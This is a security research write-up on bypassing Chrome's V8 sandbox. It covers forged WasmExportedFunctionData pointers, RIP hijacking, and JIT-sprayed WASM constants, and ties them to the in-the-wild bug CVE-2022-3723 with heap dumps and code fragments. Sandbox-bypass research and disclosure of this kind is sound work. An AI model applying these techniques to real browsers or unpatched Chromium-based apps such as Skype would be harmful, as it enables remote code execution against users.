Use Native Pointer of Function to Bypass The Latest Chrome v8 Sandbox (exp of issue1378239)


On July 21, 2023, @5aelo published a new discussion document on v8 sandbox: Function Pointer Wrapping.

Given that this bypass will be patched by Chrome’s pointer wrapping mitigation in the future, this article discusses how to leverage the native pointers of Function to bypass the latest v8 sandbox in Chrome.

Regarding the origin and evolution of the v8 sandbox, we can refer to some previous documents, briefly listed here.

V8 Sandbox — High-Level Design mainly explains the high-level design ideas, while V8 Sandbox — External Pointer Sandboxing focuses on the external pointer table design and memory-safe access to objects outside the v8 sandbox. Exploiting high-version Chrome vulnerabilities requires considering bypassing the v8 sandbox mitigations. As before, this article delves into the bypass concepts and implementation, and combines the in-the-wild CVE-2022–3723 (issue1378239) to pop a calculator. This issue still remains locked at present.

0x01-Function Object

When writing an exploit, the usual process is object corruption to arbitrary read/write, and finally code execution. With the v8 sandbox added, the basic approach becomes:

Object corruption -> Relative arbitrary read/write -> Bypass v8 sandbox -> Code execution

The key here is bypassing the sandbox from relative arbitrary read/write. The Function object in Javascript provides this capability. Function is itself an object, while also enabling code execution. Thus, it bridges from object to execution.

Below is the data structure of the Function object:

var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var f = wasmInstance.exports.main;
DebugPrint: 0x1f290011c161: [Function] in OldSpace
 - map: 0x1f29001138b9 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x1f2900104275 <JSFunction (sfi = 0x1f29000c8ef9)>
 - elements: 0x1f2900000219 <FixedArray[0]> [HOLEY_ELEMENTS]
 - function prototype: <no-prototype-slot>
 - shared_info: 0x1f290011c135 <SharedFunctionInfo js-to-wasm::i>
 - name: 0x1f2900002785 <String[1]: #0>
 - builtin: JSToWasmWrapper
 - formal_parameter_count: 0
 - kind: NormalFunction
 - context: 0x1f2900103c0d <NativeContext[281]>
 - code: 0x1f2900303979 <Code BUILTIN JSToWasmWrapper>
 - Wasm instance: 0x1f290011bf69 <Instance map = 0x1f290011a605>

Here is the hex data in Memory

0x1f290011c100        00000000 00040E40 00001E95 0011C0F1
0x1f290011c110        00303979 00000000 0011BF69 00000000
0x1f290011c120        000007D0 002B1A65 00000000 00000002
0x1f290011c130        00040E60 00000D8D 0011C109 00002785
0x1f290011c140        0000026D 0011BED1 00010000 00000000
0x1f290011c150        00000000 FFFFFFFF 0000031B 00000000
0x1f290011c160        001138B9 00000219 00000219 00057400
0x1f290011c170        0011C135 00103C0D 000C22F9 00000061

0x02-RIP Hijacking

0x1f290011c160 is the start address of the object, while 0x1f290011C135 is the shared_info object. We can inspect the details of this object:

0x1f290011c135: [SharedFunctionInfo] in OldSpace
 - map: 0x1f2900000d8d <Map[44](SHARED_FUNCTION_INFO_TYPE)>
 - name: 0x1f2900002785 <String[1]: #0>
 - kind: NormalFunction
 - syntax kind: AnonymousExpression
 - function_map_index: 204
 - formal_parameter_count: 0
 - expected_nof_properties: 0
 - language_mode: sloppy
 - function_data: 0x1f290011c109 <Other heap object (WASM_EXPORTED_FUNCTION_DATA_TYPE)>
 - code (from function_data): 0x1f2900303979 <Code BUILTIN JSToWasmWrapper>

The SharedFunctionInfo reveals the function_data object at address 0x1f290011c109. Examining this object shows:

0x1f290011c109: [WasmExportedFunctionData] in OldSpace
 - map: 0x1f2900001e95 <Map[44](WASM_EXPORTED_FUNCTION_DATA_TYPE)>
 - internal: 0x1f290011c0f1 <Other heap object (WASM_INTERNAL_FUNCTION_TYPE)>
 - wrapper_code: 0x1f2900303979 <Code BUILTIN JSToWasmWrapper>
 - js_promise_flags: 0

Although 0x1f2900303979 is readily apparent when parsing, in memory it appears in reverse order. This could likely be addressed through minor layout tweaks to enforce a consistent order. The main point here is the wrapper_code.

In the latest v8, we see it is now a read-only property.

(gdb) vmmap 0x1f2900303979
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x00001f2900300000 0x00001f2900318000 0x0000000000000000 r--

However, we can forge this object. Shown below is a test on the latest Chrome 115.0.5790.170:

The object address is 0x109900233314. By modifying the data at 0x10990023332C to 0x002333B5, then forging the object at 0x1099002333B4, we hijack the address and make it point to wasm address of 0x037557588B010 (the actual wasm module start address is 0x37557588B000). As shown, RIP is successfully hijacked to 0x037557588B010 containing 0xCC, hitting the breakpoint in gdb.

0x03-issue1378239 Bypass

issue1378239-CVE-2022–3723 affects Chrome 107.0.5304.62 and earlier, an in-the-wild 0day captured in 2022, though the details of this issue are still unpublished. Given Google’s public PoC, arbitrary relative read/write is easy to be achieved, so exploit primitives are omitted as we want to focus on v8 sandbox bypass.

With arbitrary read/write, we can leak the wasm address and then the client sends it to a remote server along with a wasm request. Upon receiving the address, the server immediately compiles and returns the wasm bytecode. Since we can control RIP, cleverly designed wasm code allows hijacking RIP into misaligned bytecodes in wasm. Details below:

var wasm_code = `
  (func $f (export "f") (param i64)
  (call $f (i64.const 0x12EB9060B0C03148)) ;; 48 31 C0 B0 60 90 EB 12
  (call $f (i64.const 0x0BEB9090008B4865)) ;; 65 48 8B 00 90 90 EB 0B

After compilation, the above wasm code has RWX permissions in the latest Chrome but RX in 107.0.5304.63. As we can control the $f function argument, which suffices for arbitrary code execution. The first two bytes 48 31 pivot us to the next controllable bytecodes. Thus in this wasm we can execute equivalent assembly while jumping to the next sequences, gradually making a VirtualProtect call and jumping to shellcode. See the public GitHub for implementation details.

0x04-Notes on issue1378239

When writing this exploit, it was found to trigger only once per isolated context. So the exploit uses two steps: first leak data from one iframe, send the leaked data to the remote Server, then the Server writes the leaked info into another html for the client to request in a local iframe. Since both iframes share the same domain and port, they share the same process, and also allowing leaked addresses to be used in the same process. In the second iframe we modify the array length, then follow typical arbitrary read/write to bypass the v8 sandbox for in-Chrome-sandbox RCE. See GitHub for exploit details.

0x05-Video Demo

0x06-Patch Gap
Indeed, Chrome’s security has been constantly improving. There were no Chrome full chain exploits at Pwn2Own 2023 either. From in-the-wild PoCs we observe exploit techniques becoming more novel, while traditional easily exploited bugs are now described as highly prized vulnerabilities. In recent years, built-in objects like TheHole and Uninitialized OddBall have also seen continuous improvements. However, the confrontation remains dynamic, seemingly balanced. We still have not fully eliminated patch gaps in the real world.
In researching 1days and n-days, many popular IMs like Teams and Skype cannot match Chrome’s patch velocity. Coincidentally, Skype and Teams have added the v8 sandbox to mitigate 1/n-day threats.
The patches provided by Chrome or proofs of concept from Google have greatly reduced the difficulty for hackers to reproduce vulnerabilities and write exploits. This poses a significant threat to software that shares common components. Below is an exploit we wrote for Skype during our research into 1/n-days in the wild. It also needs to bypass V8’s sandbox. I won’t elaborate on the patch gaps for other affected software here.



More Posts